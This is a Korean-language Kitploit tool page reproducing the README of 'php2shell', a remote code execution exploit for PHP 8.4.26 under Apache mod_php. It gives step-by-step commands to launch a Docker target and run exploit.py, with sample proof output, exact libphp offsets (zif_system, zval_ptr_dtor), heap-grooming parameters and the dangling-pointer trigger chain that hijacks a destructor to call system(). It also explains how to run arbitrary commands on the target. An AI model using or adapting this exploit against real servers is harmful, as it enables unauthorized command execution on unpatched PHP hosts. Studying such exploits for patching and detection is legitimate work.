Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
php2shell-bypass-aslr-exp — PHP 8.4.26 + Apache mod_php에서 세션 upload_progress 힙 누출, 댕글링 포인터 재사용, ASLR 우회를 통해 zif_system을 호출하여 RCE를 달성하는 순수 HTTP 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchRemote Access ToolBinary Exploitation
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

PHP 8.4.26 + Apache mod_php에서 세션 upload_progress 힙 누출, 댕글링 포인터 재사용, ASLR 우회를 통해 zif_system을 호출하여 RCE를 달성하는 순수 HTTP 익스플로잇입니다.

저장소 보기
6612442561일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

php2shell — PHP 8.4.26 세션 취약점 재현

中文 | 한국어

"완전 원격, HTTP만 사용, 대상 페이지에 session_start() 없음, 대상 측 PHP를 전혀 작성하지 않음"이라는 제약 조건 하에서, 단일 exploit.py 로 PHP 8.4.26 + Apache prefork + mod_php의 RCE를 관통한다. 공식 php:8.4.26-apache 이미지에서 3/3 원클릭 성공을 실측했다(PROOF: uid=33(www-data)...). 현재 버전은 display_errors=1을 요구한다. display_errors=0의 경우 순수 HTTP 힙 누출은 이미 관통했으며, 완전한 RCE는 추후 제출한다.

exp

다음은 제로에서 RCE까지의 전체 명령이며, 통째로 복사하여 실행하면 된다. 이 저장소는 PHP/Apache를 컴파일하지 않으며 docker build도 없다. 환경은 공식 php:8.4.26-apache 이미지에 docker/ 아래의 설정 마운트를 더한 것이다.

# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

이미 저장소 디렉터리 안에 있다면 git clone/cd는 건너뛰어도 됩니다. pull도 생략할 수 있으며, up -d가 이미지를 자동으로 가져옵니다.

exploit.py는 worker 순환, 2단계 누출, zif_system 실행 및 proof 읽기를 자동으로 수행하며, 각 단계에 재시도가 내장되어 있습니다. 실행 환경:

구성 요소버전출처
PHP8.4.26(NTS, mod_php)php:8.4.26-apache
기본 시스템Debian 12 (bookworm)위와 동일
Apache2.4.69(공식 이미지 내 Debian 12 패키지, 실측)위와 동일
MPMprefork, 단일 workerdocker/apache.conf
lab 보고서의 Apache2.4.68(원래 lab 자체 컴파일, --profile lab)완전히 일치해야 하는 경우 apache/httpd의 2.4.68 tag 사용

공식 이미지 저장소: docker-library/php (Docker Hub: php:8.4.26-apache); PHP 소스: php/php-src (tag php-8.4.26).

첫 실행 시 docker/offsets.py가 자동으로 실행됩니다: 컨테이너 내부의 libphp.so에서 zif_system / zval_ptr_dtor의 실제 오프셋을 읽어 out/offsets.env에 기록하며, exploit.py가 자동으로 로드하므로 공식 이미지를 교체하거나 업그레이드한 후에도 오프셋을 수동으로 수정할 필요가 없습니다. 기본 명령은 id>/out/p1(10바이트)이며, 컨테이너의 /out은 저장소의 ./out에 마운트되어 proof가 곧바로 로컬에 저장됩니다:

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

payload의 명령어 제한은 14바이트입니다. 임의의 명령을 실행하려면 스크립트를 마운트 디렉터리에 작성한 다음 sh</out/c(8바이트)로 실행하세요:

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

常用参数:--profile、--cmd、--proof-file、--fetch、--zif-offset、--dtor-offset、--htdata-offset、--no-pre-rotate、--retries。기본 profile은 bookworm(공식 이미지)이며, 원래 lab 빌드에는 --profile lab을 사용합니다. --offsets-file ''로 자동 읽기를 끌 수 있으며, 컨테이너 이름이 php2shell-target이 아닐 때는 --docker-container로 지정합니다.

bookworm의 힙 캘리브레이션은 이미 내장되어 있습니다: stage1 filler 수 841; stage2 대상 배열 406, 요소 값 길이 16; stage3 HTDATA=chunk+0x690d8, A의 pad는 6×(31,31)이며 추가로 32자리의 합법적인 Cookie: PHPSESSID를 포함하여 B가 stale id를 재사용하도록(send_cookie=0) 하여 session의 Set-Cookie 헤더가 R0+16에서 val.type을 덮어쓰는 것을 방지합니다; B는 15B carrier로 reference의 val.value를 덮어씁니다. 공식 이미지의 libphp 오프셋은 자동으로 zif_system=0x465370, zval_ptr_dtor=0x65eb60으로 읽히며, 원래 lab은 0x43a870 / 0x613c50을 사용합니다.

메커니즘 개요

취약점 표면은 session.upload_progress가 RINIT 이전에 트리거하는 session 초기화와, OOM bailout 이후 요청 간에 잔류하는 댕글링 포인터입니다. 아래는 lab 빌드를 예로 듭니다; 공식 이미지의 bookworm 교정값은 exp 끝부분을 참조하십시오.

전체 체인의 공격 트래픽은 모두 일반 multipart HTTP이며, 대상 페이지는 <?php echo "OK\n"; ?>뿐입니다:

  1. worker 교체: A_bigfields(3MB 생존 POST 필드 + 12MB OOM) 직후에 session을 초기화하는 B가 뒤따르고, child는 SIGABRT로 종료됩니다; prefork가 fork한 새 worker는 동일한 libphp/chunk 매핑을 상속합니다.

  2. 힙 누출: A는 1001개의 필드로 max_input_vars 경고를 트리거하고(display_errors=On → headers_sent=1), PHPSESSID=\x00이 새 id를 생성하며 send_cookie=1을 설정하고, 마지막 12MB 필드가 php_session_initialize() 내에서 OOM되어 PS(http_session_vars)가 댕글링됩니다. B는 56B multipart 원시 값 버퍼로 이전 reference를 재점유하고, 생존한 192B zend_string으로 fake HashTable을 담습니다; php_url_encode()의 범위 초과 읽기가 Zend MM chunk 포인터를 Set-Cookie에 기록합니다(4096B, 98개 포인터).

  3. libphp 누출: A는 댕글링 PS(id)를 chunk+0xb7400에 배치합니다; B의 56B HashTable 페이지로 인해 ZSTR_LEN(PS(id))가 nTableSize=16을 읽고, 데이터 영역은 정확히 nNextFreeElement|pDestructor입니다; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50이며, Set-Cookie에서 libphp base를 추출합니다.

  4. 명령 실행: A는 6개의 pad로 댕글링 reference를 R0=chunk+0x24e0에 고정합니다; B는 55B raw buffer로 R0-0x10을 덮어쓰고, fake HashTable을 chunk+0x6e0d8의 167B 생존 문자열에 배치하며, pDestructor = zif_system = libphp+0x43a870입니다. 트리거 체인:

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    터미널은 libphp 내부의 zif_system만 사용하며, libc가 필요하지 않습니다.

메커니즘 분석

  • 페이지에 session_start()가 필요 없는 이유: A/B의 session 초기화는 RINIT 이전의 multipart 콜백에서 발생합니다(FILE_START → php_session_rfc1867_update → php_session_initialize(); END → php_session_rfc1867_cleanup → php_session_initialize()). 이는 스크립트 내용과 무관합니다.
  • 포인터가 왜 dangling 상태가 되는가: A가 php_session_initialize() 내에서 OOM bailout되면서 PS(http_session_vars) / PS(id)가 비워지지 않았습니다. 다음 요청이 session을 초기화할 때 php_session_track_init()이 이에 대해 zval_ptr_dtor를 실행합니다.
  • 왜 재점유가 가능한가: multipart 일반 필드의 값은 요청 파싱 단계에서 zend_string으로 할당됩니다. 56B block, 55B reference, 167B 문자열 같은 크기가 기존 reference를 정확히 덮어쓰고 fake HashTable을 담습니다.
  • 왜 ASLR을 통과할 수 있는가: 두 번의 Set-Cookie 범위 초과 읽기가 각각 chunk base와 libphp base를 알려줍니다. 단계 사이에 순수 HTTP abort/fork로 worker를 교체하며 주소 공간은 변하지 않습니다. 터미널은 libc에 의존하지 않습니다.
  • 역사적 맥락: session_unset() + 사용자 영역 __destruct의 Defect D(arData UAF)는 이미 사용자 정의 PHP 페이지에서 RCE를 달성했지만(NOASLR_REPORT.md), "특정 PHP를 작성하지 않는다"는 제약을 위반하므로 메커니즘 참고용으로만 사용합니다.

주소/오프셋(chunk 또는 libphp 기준, ASLR과 무관):

위치의미
chunk+0xb7400단계 2 dangling PS(id)
chunk+0xb73f0단계 2 대상 HashTable(a0443)
chunk+0x6e0d8단계 3 fake HashTable 문자열 데이터
chunk+0x24e0단계 3 dangling reference R0
libphp+0x613c50ZVAL_PTR_DTOR
libphp+0x43a870zif_system

위 표는 lab 빌드(--profile lab)입니다. 공식 이미지(기본 --profile bookworm)의 대응 표기는 다음과 같습니다: stage1 filler 수 841; stage2 대상 배열 406, 요소 값 길이 16; stage3 HTDATA=chunk+0x690d8, A는 6×(31,31) pad 및 32자 합법 Cookie: PHPSESSID, B는 15B carrier 사용; libphp 오프셋은 docker/offsets.py에서 자동으로 읽습니다(0x465370 / 0x65eb60).

상세 메커니즘, gdb 증거 및 요청 보정은 HTTP_HEAP_LEAK.md(힙 누수), ASLR_PURE_HTTP.md(libphp 누수 및 전체 체인), DISPLAY_ERRORS_OFF.md(display_errors에 의존하지 않는 누수), NOTES.md(근본 원인 및 소스 위치)를 참조하십시오.

재현 선언

도구 다운로드